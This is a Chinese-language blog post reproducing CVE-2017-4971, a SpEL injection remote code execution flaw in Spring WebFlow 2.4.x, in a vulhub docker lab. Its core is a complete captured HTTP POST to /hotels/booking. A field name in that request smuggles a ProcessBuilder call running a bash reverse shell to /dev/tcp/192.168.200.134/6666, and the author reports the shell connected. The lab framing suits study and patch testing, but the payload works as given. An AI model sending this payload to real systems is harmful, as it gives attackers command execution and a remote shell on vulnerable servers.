Spring WebFlow 远程代码执行漏洞

Spring WebFlow 远程代码执行漏洞

Spring WebFlow 远程代码执行漏洞 (CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2017-4971/
docker-compose up -d

访问IP:8080/即可看到界面。


影响版本

Spring Web Flow 2.4.0 – 2.4.4


漏洞复现

访问IP:8080/login,用左边给的账号登陆系统

登陆后访问IP:8080/hotels/1

点击book hotel后填写信息

填写完信息点击proceed,就到了能触发漏洞的页面了

点击Confirm抓包,POC为

POST /hotels/booking?execution=e16s2 HTTP/1.1
Host: 192.168.200.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/hotels/booking?execution=e16s2
Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=FFA9517B0907812061E9E18C01E163FC
Upgrade-Insecure-Requests: 1

_eventId_confirm=&_csrf=4051e30d-a9fc-48c0-92c9-989875d07d7c&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.200.134/6666+0>%261")).start()=EDI

POC中的execution为商品id请改成自己的别直接用该数据包

执行后查看监听发现反弹shell执行成功

posted @ 2021-09-29 10:04  blankunbeaten  阅读(232)  评论(0编辑  收藏  举报